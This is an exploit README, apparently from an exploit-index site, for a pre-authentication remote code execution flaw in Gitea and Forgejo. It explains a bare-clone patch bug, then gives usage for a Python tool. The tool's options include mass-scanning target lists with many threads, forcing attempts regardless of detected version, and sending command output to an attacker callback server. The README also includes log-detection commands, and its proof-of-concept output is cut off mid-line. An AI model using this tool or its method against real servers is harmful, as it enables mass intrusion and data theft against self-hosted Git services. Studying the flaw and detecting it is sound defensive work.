## https://sploitus.com/exploit?id=A7B73708-3856-5467-B4F9-8AD9E7925192
CVE-2026-60004 β Gitea Diffpatch Git Hook RCE
Bare Clone Hook Injection β post-index-change β Arbitrary Command Execution
---
## Overview
**CVE-2026-60004** is a critical-severity (CVSS 9.8) **pre-authentication** remote code execution vulnerability in **Gitea** and **Forgejo** self-hosted Git platforms, affecting versions **1.17 through 1.27.0**.
The vulnerability exploits a bare-clone design flaw in the `POST /api/v1/repos/{owner}/{repo}/diffpatch` API endpoint. Gitea applies user-supplied patches inside a **bare temporary clone** β where the repository root is `$GIT_DIR` itself. By submitting the same malicious patch twice, an attacker triggers an add/add conflict that causes Git's three-way merge fallback (`-3`, Git 2.32+) to write an executable `post-index-change` hook directly into `$GIT_DIR/hooks/`. Git executes this hook automatically during the index update, yielding arbitrary command execution under the Gitea service account.
Repository write access is required β trivially obtainable as Gitea defaults to open registration without email verification, admin approval, or repository creation limits.
### Affected Versions
| Version | Status |
|---|---|
| **Discovered by:** Shai Rod (NightRang3r), July 28, 2026
> **Project:** Gitea / Forgejo (self-hosted Git service)
> **Component:** diffpatch API endpoint, bare temporary clone
---
## Vulnerability Mechanism
### Root Cause
The vulnerability originates from a single parameter in `services/repository/files/patch.go`:
```go
// VULNERABLE β v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
return nil, err
}
```
In a **bare** clone there is no working tree β the repository root **is** `$GIT_DIR`. A malicious patch whose file path is `hooks/post-index-change` therefore lands directly inside Git's real hooks directory, not in a sandboxed working tree.
The `git apply` invocation compounds this:
```go
// VULNERABLE β v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
"--index", "--recount", "--cached",
"--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
cmdApply.AddArguments("-3") // three-way merge fallback
}
```
### Why It Works
1. **Bare clone provides no sandbox** β the temp clone's root is `$GIT_DIR`, so path `hooks/post-index-change` maps to the real hooks directory.
2. **`--cached` is not airtight** β the `-3` three-way fallback in Git 2.32+ writes merged results to the working tree during add/add conflicts, despite the `--cached` flag.
3. **Double-submit triggers the conflict** β first apply adds the hook to the index. The second apply creates an add/add collision, the three-way merge writes the file to disk, and Git executes it.
4. **Git auto-executes `post-index-change`** β after updating the index, Git unconditionally runs this hook if it exists and is executable. No configuration needed.
5. **Hook commands CANNOT modify the index** β `git update-index` inside the hook deadlocks because `git apply` holds the index lock. Use HTTP callbacks (`curl`) or reverse shells for output exfiltration.
### Attack Flow
```
1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository β obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
ββ Bare temp clone created: .Clone(ctx, oldBranch, true)
ββ git apply --index --cached -3 processes the patch
ββ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again β add/add conflict detected
ββ Three-way merge (-3) resolves the conflict
ββ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
ββ Git fires post-index-change hook automatically
ββ Sleep N seconds β timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
ββ GET /?h=&c=&data=
6. Callback server writes output to organized files per target
```
### Verified Source Code References
| File | Line(s) | Purpose |
|---|---|---|
| `services/repository/files/patch.go` | 195 | `t.Clone(ctx, opts.OldBranch, true)` β bare clone creation |
| `services/repository/files/patch.go` | 206-209 | `git apply` with `--index --cached -3` flags |
| `services/repository/files/patch.go` | 215-223 | `WriteTree()` + `CommitTree()` + `Push()` β persists attacker state |
| `services/repository/files/cherry_pick.go` | ~170 | Same bare-clone pattern in `CherryPick` (also fixed) |
### Server Log Detection
```
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn
# Suspicious pattern: new account β immediate repo creation β diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log
# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
```
### Key Design Flaw
The difference between a bare and non-bare clone β a single boolean parameter β determines whether a patch path is a harmless working-tree entry or an executable hook landing directly in Git's internal directory. The fix changes exactly **one character** in the diff (`true` β `false`), which is why the commit was labeled `"refactor: git patch apply"` under MISC rather than under SECURITY. The operation that was supposed to be sandboxed to the index (`--cached`) was silently broken by Git's own three-way merge machinery, and no additional guard prevented hook files from being created in the bare clone's `$GIT_DIR`.
---
## Installation
```bash
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
```
## Usage
```bash
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com
# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20
# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced
# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen
```
### Arguments
```
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--callback HTTP callback URL for output exfiltration
--listen [PORT] Auto-start built-in callback listener
-o, --output Save RCE-confirmed URLs to file
--threads Concurrent workers (default: 25)
--timeout HTTP request timeout in seconds
--no-cleanup Leave repository and user on target
--forced Attempt exploit regardless of detected version
--debug Show every HTTP request
-v, --verbose Verbose output
```
---
## Proof of Concept
### Single Target
```bash
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
```
```
Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8
Host : gitea.example.com
Version : 1.22.0
Vuln ( The fix appeared in the 1.27.1 release notes under **MISC** as `"refactor: git patch apply"` rather than under **SECURITY**, making it easy for administrators who only scan security-related changelog entries to miss this critical update. The same bare-clone pattern in `CherryPick` was also fixed.
---
## Disclaimer
> **FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.**
>
> Do not use against systems without explicit permission from the owner. The authors assume no liability for misuse.
---
## References
| Resource | Link |
|---|---|
| Gitea Fix Commit | [470d34b](https://github.com/go-gitea/gitea/commit/470d34b1de87d901bd9135564d5ee18c0d339e82) |
| Researcher | [NightRang3r](https://github.com/NightRang3r) |
| CWE-94 | [Code Injection](https://cwe.mitre.org/data/definitions/94.html) |
| Git Hook | [post-index-change](https://git-scm.com/docs/githooks#_post_index_change) |
---
Discovered by Shai Rod (NightRang3r). Not affiliated with Gitea or Forgejo.